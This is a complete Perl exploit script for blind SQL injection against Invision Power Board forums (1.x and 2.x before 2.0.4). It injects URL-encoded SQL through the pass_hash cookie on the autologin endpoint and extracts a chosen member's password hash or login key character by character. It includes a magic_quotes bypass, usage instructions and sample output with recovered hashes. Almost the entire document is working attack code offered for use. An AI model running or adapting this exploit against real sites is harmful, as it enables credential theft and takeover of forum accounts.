#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2 
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~]    SERVER : blah.com 
## [~]      PATH : /ipb13/
## [~] MEMBER ID : 1
## [~]    TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com  /ipb202/ 1 1
## [~]    SERVER : blah.com 
## [~]      PATH : /ipb202/
## [~] MEMBER ID : 1
## [~]    TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server    = $ARGV[0];
$path      = $ARGV[1];
$member_id = $ARGV[2];
$target    = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http:\/\/)!!;

$request  = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~]    SERVER : $server\r\n";
print "[~]      PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~]    TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); } 
$char = $i;
if ($char=="0") 
  { 
  if(length($allchar) > 0){
  print qq{\b\b DONE ] 
   
  MEMBER ID : $member_id
  };
  print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
  print $allchar."\r\n";
  }
  else
  {
  print "\b\b FAILED ]";
  }
  exit();   
  }
else 
  {   
   $allchar .= chr($i);
  }
$s_num++;
}

sub found($$)
  {
  my $fmin = $_[0];
  my $fmax = $_[1];
  if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
   
  $r = int($fmax - ($fmax-$fmin)/2);
  $check = " BETWEEN $r AND $fmax";
  if ( &check($check) ) { &found($r,$fmax); }
  else { &found($fmin,$r); }
  }
   
sub crack($$)
  {
  my $cmin = $_[0];
  my $cmax = $_[1];
  $i = $cmin;
  while ($i<$cmax)
   {
   $crcheck = "=$i";
   if ( &check($crcheck) ) { return $i; }
   $i++;
   }
  $i = 0;
  return $i;
  }
   
sub check($)
  {
  $n++;
  status();
  $ccheck = $_[0];
  $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
  $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28"; 
  $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
  $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
  $nmalykh    = "%20";
  $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
  printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
  
   $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);
   
  while(<$socket>) 
   { 
   if (/Set-Cookie: session_id=0;/) { return 1; }
   } 

  return 0;
  }
   
sub status()
{
   $status = $n % 5;
   if($status==0){ print "\b\b/]";  }
   if($status==1){ print "\b\b-]";  }
   if($status==2){ print "\b\b\\]"; }
   if($status==3){ print "\b\b|]";  }
}

sub usage()
  {
  print q(
  Invision Power Board v < 2.0.4 SQL injection exploit
  ----------------------------------------------------
  USAGE:
  ~~~~~~
  r57ipb2.pl [server] [/folder/] [member_id] [target]
   
  [server]    - host where IPB installed
  [/folder/]  - folder where IPB installed
  [member_id] - user id for brute
   
  targets:
           0 - IPB 1.*
           1 - IPB 2.* (Prior To 2.0.4)
   
  e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
  ----------------------------------------------------
  (c)oded by 1dt.w0lf
  RST/GHC , http://rst.void.ru , http://ghc.ru
  );
  exit();
  }

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